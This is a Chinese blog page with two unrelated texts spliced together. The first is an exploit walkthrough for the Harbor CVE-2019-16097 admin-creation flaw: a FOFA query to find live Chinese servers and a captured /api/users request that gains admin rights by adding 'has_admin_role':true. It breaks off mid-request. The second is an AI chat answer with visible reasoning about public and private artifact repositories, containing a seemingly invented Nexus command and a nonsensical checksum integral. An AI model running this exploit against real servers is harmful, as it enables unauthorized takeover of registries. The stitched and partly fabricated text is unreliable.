Harbor未授权创建管理员漏洞(CVE-2019-16097)

环境准备

fofa搜索环境

title="Harbor" && country=CN

找到一个可用环境测试

测试

注册账号,填写账号信息后抓包

POST /api/users HTTP/1.1
Host: 1.1.1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: application/json
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 111
Connection: close
Referer: https://103.24.179.7/harbor/sign-in?signout=true
Cookie: beegosessionID=c2309d1e5295946e5c1d59e7c63bf5a0

{"username":"whami123","email":"whoami123@qq.com","realname":"whoami123","password":"Whoami123_","comment":"2"}

在包内容里面添加"has_admin_role":true,即

POST /api/users HTTP/1.1
Host: 1.1.1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel 
<think>嗯,用户问的是制品库public库和项目私有库的方案如何做,需要教别人怎么使用。首先,我得明确这两个概念。制品库通常用于存储构建产物,比如jar包、npm包、docker镜像等。public库是公开的,所有人都可以访问,可能用于开源项目或者公共依赖。而项目私有库则是私有的,只有特定项目或团队有权限访问,存放内部依赖或敏感组件。 接下来,我需要考虑常见的制品库管理工具,比如Nexus、JFrog Artifactory、Harbor(针对Docker)等。不同的工具配置方法可能不同,但基本思路应该相似。用户可能需要具体的步骤,比如如何创建仓库、配置权限、集成到构建工具中。 然后,用户可能需要了解如何区分public和私有库的使用场景。比如,公共依赖从public库拉取,私有项目则使用私有库,确保安全性和隔离性。权限管理是关键,需要设置不同的用户角色,比如public库只读,私有库读写权限给特定团队。 另外,可能涉及到持续集成/持续部署(CI/CD)的集成。比如,在构建时根据项目类型决定推送到哪个仓库,或者在拉取依赖时优先查找私有库,再查找public库。这里需要说明配置仓库的顺序,比如Maven的settings.xml中配置镜像优先级。 还有版本控制的问题,私有库可能需要更严格的版本管理策略,比如快照版本和正式版本的分离。同时,清理策略也很重要,public库可能需要定期清理旧版本以节省空间,而私有库可能需要保留更长时间的历史版本。 安全方面,私有库需要HTTPS访问、身份验证和授权,比如使用API密钥或令牌。而public库可能允许匿名访问,但上传仍需认证。还需要考虑漏洞扫描,确保上传的制品没有安全风险。 最后,可能需要给出一个具体工具的示例步骤,比如使用Nexus Repository Manager。分步骤创建两个仓库,配置权限,然后在项目中配置构建文件指向对应的仓库。同时,提醒用户测试配置是否正确,比如上传和拉取制品是否正常。 可能还需要注意不同语言生态系统的差异,比如Maven、npm、Docker等的配置方式不同,需要分别说明。或者用户可能只关心其中一种,但提问比较通用,所以需要覆盖主要方面,但保持简洁。 总结下来,回答应该分步骤,先介绍概念,再讲方案设计,然后具体实施步骤,包括创建仓库、配置权限、集成到项目、CI/CD流程、安全措施等。最后给出注意事项和常见问题,比如依赖解析顺序、版本管理建议。</think>制品库的公共库与私有库建设方案(以通用架构为例) 一、核心概念区分 1. 公共库(Public Repository) - 用途:存放公共依赖、第三方开源组件 - 权限:全局可读,受限写入(需审核) - 示例:$$ \text{public-repo} \rightarrow \text{存放如jquery-3.6.0.min.js} $$ 2. 项目私有库(Private Repository) - 用途:存放内部构建产物、私有组件 - 权限:按项目组隔离(RBAC控制) - 示例:$$ \text{projectA-private} \rightarrow \text{存放如projectA-utils-1.2.3.jar} $$ 二、实施方案步骤 1. 基础设施搭建 - 工具选型:Nexus/Artifactory/Harbor - 存储规划: ```text /data ├── public # SSD存储用于高频访问 └── private # HDD存储扩展容量 ``` 2. 仓库创建示例(以Nexus3为例) ```bash # 创建公共代理仓库 nx-repo-create proxy npm-public https://registry.npmjs.org # 创建私有宿主仓库 nx-repo-create hosted maven-private -type maven2 ``` 3. 权限配置关键点 ```markdown | 角色 | 公共库权限 | 私有库权限 | |---------------|----------------|----------------| | 匿名用户 | 只读 | 无访问 | | 开发者 | 只读 | 本组项目读写 | | 审核员 | 审核后写入 | 跨项目只读 | ``` 4. 项目集成配置(以Maven为例) ```xml <!-- settings.xml 配置示例 --> <mirrors> <mirror> <id>private-repo</id> <url>http://repo.internal/private-group/</url> <mirrorOf>external:*,!public-repo</mirrorOf> </mirror> </mirrors> ``` 三、最佳实践建议 1. 依赖解析策略 - 优先顺序:私有库 > 公共代理库 > 中央仓库 - 公式表达:$$ \text{ResolutionOrder} = \text{Private} \rightarrow \text{PublicProxy} \rightarrow \text{Central} $$ 2. 版本控制方案 - 快照版本:自动清理策略(保留最近5个版本) - 正式版本:手动审批后永久保留 3. 安全增强措施 - 公共库启用CVE扫描:$$ \text{scan}(artifact) \rightarrow \text{阻断高危漏洞版本} $$ - 私有库实施双因素认证 - 传输层强制使用HTTPS 四、典型工作流示例 ```text 开发者流程: 1. 开发阶段:从公共库拉取依赖 $ mvn dependency:get -Dartifact=log4j:log4j:1.2.17 2. 构建阶段:发布到私有库 $ mvn deploy -DaltDeploymentRepository=private-repo::default::http://repo.internal/projectA-private 3. 生产部署:从私有库获取已验证版本 $ docker pull repo.internal/projectA-private/app-image:v1.2.3 ``` 五、运维监控要点 1. 容量预警阈值设置: - 公共库:$$ \text{剩余空间} < 30\% \Rightarrow \text{触发告警} $$ - 私有库:按项目组配额管理 2. 访问日志分析 ```sql -- 统计Top10依赖下载 SELECT artifact, COUNT(*) as downloads FROM access_log WHERE repo_type = 'public' GROUP BY artifact ORDER BY downloads DESC LIMIT 10; ``` 注意事项: 1. 公共库建议采用地理分布式的CDN加速 2. 私有库部署时应配置跨可用区冗余 3. 定期执行存储验证:$$ \int_{t_0}^{t_1} checksum(artifact) dt = \text{一致性保证} $$
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值